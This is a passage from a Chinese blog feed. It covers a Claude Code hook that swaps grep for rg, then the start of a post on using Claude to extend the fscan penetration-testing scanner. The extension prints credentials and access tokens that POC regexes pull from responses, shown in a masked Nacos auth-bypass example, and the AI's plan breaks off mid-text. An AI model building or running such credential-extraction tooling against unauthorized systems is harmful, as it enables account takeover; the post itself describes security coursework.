&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod +x ~/.claude/hooks/grep-to-rg.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="2-注册到-settingsjson"&gt;2. 注册到 settings.json
&lt;/h3&gt;&lt;p&gt;编辑 &lt;code&gt;~/.claude/settings.json&lt;/code&gt;，添加 hooks 配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;hooks&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;PreToolUse&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;matcher&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Bash&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;hooks&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;command&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;command&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/Users/your-name/.claude/hooks/grep-to-rg.sh&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;matcher: &amp;quot;Bash&amp;quot;&lt;/code&gt; 表示仅对 Bash 工具调用触发此 hook。&lt;/p&gt;
&lt;h2 id="验证"&gt;验证
&lt;/h2&gt;&lt;p&gt;用 echo 模拟 stdin，测试脚本逻辑：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# grep 命令应被拦截&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{&amp;#34;tool_input&amp;#34;:{&amp;#34;command&amp;#34;:&amp;#34;grep -r pattern .&amp;#34;}}&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; ~/.claude/hooks/grep-to-rg.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# &amp;#34;decision&amp;#34;: &amp;#34;block&amp;#34;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# &amp;#34;reason&amp;#34;: &amp;#34;禁止使用 grep。...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# }&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# rg 命令应静默通过&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{&amp;#34;tool_input&amp;#34;:{&amp;#34;command&amp;#34;:&amp;#34;rg pattern .&amp;#34;}}&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; ~/.claude/hooks/grep-to-rg.sh&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;exit: &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# exit: 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重启 session 后，让 Claude 尝试执行一个 grep 命令，它会自动切换为 rg：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 尝试 grep&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep -r &lt;span class="s2"&gt;&amp;#34;PluginList&amp;#34;&lt;/span&gt; Plugins/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# → hook 触发，被拦截&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Claude 自动改用 rg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rg &lt;span class="s2"&gt;&amp;#34;PluginList&amp;#34;&lt;/span&gt; Plugins/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# → 正常执行，返回结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="补充说明"&gt;补充说明
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用范围&lt;/strong&gt;：配置在 &lt;code&gt;~/.claude/&lt;/code&gt; 为用户级，对所有项目生效。若只想对特定项目生效，将 hooks 配置放到项目的 &lt;code&gt;.claude/settings.json&lt;/code&gt; 中即可。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;hook 不能修改命令&lt;/strong&gt;：PreToolUse hook 目前只支持 allow / block / ask 三种决策，无法直接改写即将执行的命令。依赖 Claude 读取 reason 后自动纠正，实际效果等价。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前提&lt;/strong&gt;：系统中需要安装 &lt;code&gt;rg&lt;/code&gt; 和 &lt;code&gt;jq&lt;/code&gt;。macOS 上 &lt;code&gt;brew install ripgrep jq&lt;/code&gt;，其他平台参考各自的包管理器。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>初试渗透测试，尝试构建 AI 渗透工作流</title><link>https://v3n0.com/post/2026/hacking-with-ai/</link><pubDate>Wed, 25 Feb 2026 17:53:41 +0800</pubDate><guid>https://v3n0.com/post/2026/hacking-with-ai/</guid><description>&lt;p&gt;其实是寒假作业，早就该折腾了，结果拖到现在。不过觉得做的东西还是很有意义的，需要好好记录。&lt;/p&gt;
&lt;p&gt;作业要求 Code is cheap, show me the talk. 所以秉承这样的观点，并且尽量让工作流 AI 化。&lt;/p&gt;
&lt;p&gt;本文中人类的 prompt 将用 Markdown 引用语法标注。&lt;/p&gt;
&lt;h2 id="fscan-二次开发"&gt;fscan 二次开发
&lt;/h2&gt;&lt;h3 id="正则提取-poc-响应关键字"&gt;正则提取 poc 响应关键字
&lt;/h3&gt;&lt;p&gt;本节使用 Claude Sonnet 4.6&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://fscan.club/#/" target="_blank" rel="noopener"
&gt;fscan&lt;/a&gt; 默认的 yaml 语法是 xray 风格的，没有提取响应的功能。希望给 fscan 补充正则提取响应关键字段的功能。&lt;/p&gt;
&lt;p&gt;fork 一下 fscan 的仓库，从 v1.8.4 release 开始开了个 &lt;code&gt;feat/show-output&lt;/code&gt; 分支，因为听说后续的 main 分支使用体验并不很好。&lt;/p&gt;
&lt;p&gt;claude code /init 一下。看了眼感觉不够满意，因为需要补充新增 WebScan 的扫描输出的功能，所以让它补充研究了一下 WebScan 的代码结构，记录在 CLAUDE.md。&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;着重关注一下 WebScan 的代码结构，一并记录在 CLAUDE.md。
2.使用 web_search mcp 工具，查看 fscan 文档 &lt;a class="link" href="https://fscan.club/#/docs" target="_blank" rel="noopener"
&gt;https://fscan.club/#/docs&lt;/a&gt;, 在 CLAUDE.md 中记录 fscan 特有的构建约束的说明，记录常用的构建约束指令。注意遵循此次对 CLAUDE.md 的修改仍然遵循 /init 命令的原则：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;Focus on the big picture architecture&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Avoid listing every component&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Don&amp;rsquo;t include generic development practices&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;此处的 web_search mcp 来自 MiniMax，结果发现在有精确网址的情况下不太好用，claude 自己用 fetch 了。&lt;/p&gt;
&lt;p&gt;然后开始 vibe coding。习惯使用 plan mode 先让它讲清楚计划，看了没有很离谱才让它继续写。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 WebScan/ 中通过解析 poc 的响应内容，允许用户在 poc yaml 中使用正则表达式提取和编写 exp 相关的字段。下面给出样例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] PocScan http://10.3.4.78:8848 poc-yaml-nacos-multi-check-auth-bypass
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * accessToken: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * username: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * password: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;details class="details-shortcode"&gt;
&lt;summary&gt;Plan: Display POC Search-Extracted Variables in Output&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;span class="lnt"&gt;115
&lt;/span&gt;&lt;span class="lnt"&gt;116
&lt;/span&gt;&lt;span class="lnt"&gt;117
&lt;/span&gt;&lt;span class="lnt"&gt;118
&lt;/span&gt;&lt;span class="lnt"&gt;119
&lt;/span&gt;&lt;span class="lnt"&gt;120
&lt;/span&gt;&lt;span class="lnt"&gt;121
&lt;/span&gt;&lt;span class="lnt"&gt;122
&lt;/span&gt;&lt;span class="lnt"&gt;123
&lt;/span&gt;&lt;span class="lnt"&gt;124
&lt;/span&gt;&lt;span class="lnt"&gt;125
&lt;/span&gt;&lt;span class="lnt"&gt;126
&lt;/span&gt;&lt;span class="lnt"&gt;127
&lt;/span&gt;&lt;span class="lnt"&gt;128
&lt;/span&gt;&lt;span class="lnt"&gt;129
&lt;/span&gt;&lt;span class="lnt"&gt;130
&lt;/span&gt;&lt;span class="lnt"&gt;131
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Plan: Display POC Search-Extracted Variables in Output
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Context
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Currently, when a POC succeeds in normal mode (rules-based), named capture groups extracted from HTTP responses via the search regex field are stored in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;variableMap for use in subsequent rules but are never displayed to the user. The user wants these extracted values (e.g., access tokens, credentials)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;to appear in the scan output below the POC result line:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] PocScan http://10.3.4.78:8848 poc-yaml-nacos-multi-check-auth-bypass
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;*&lt;/span&gt; accessToken: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;*&lt;/span&gt; username: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;*&lt;/span&gt; password: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Critical File
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Only one file needs modification:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/Users/veno/Projects/fscan/WebScan/lib/check.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Implementation
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; Add &amp;#34;sort&amp;#34; import
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;In the import block, add &amp;#34;sort&amp;#34; (alphabetically between &amp;#34;regexp&amp;#34; and &amp;#34;strings&amp;#34;).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; Modify executePoc signature
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;From:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;func executePoc(oReq *http.Request, p *Poc) (bool, error, string)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;func executePoc(oReq *http.Request, p *Poc) (bool, error, string, map[string]string)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; Declare searchVars after variableMap (line ~80)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
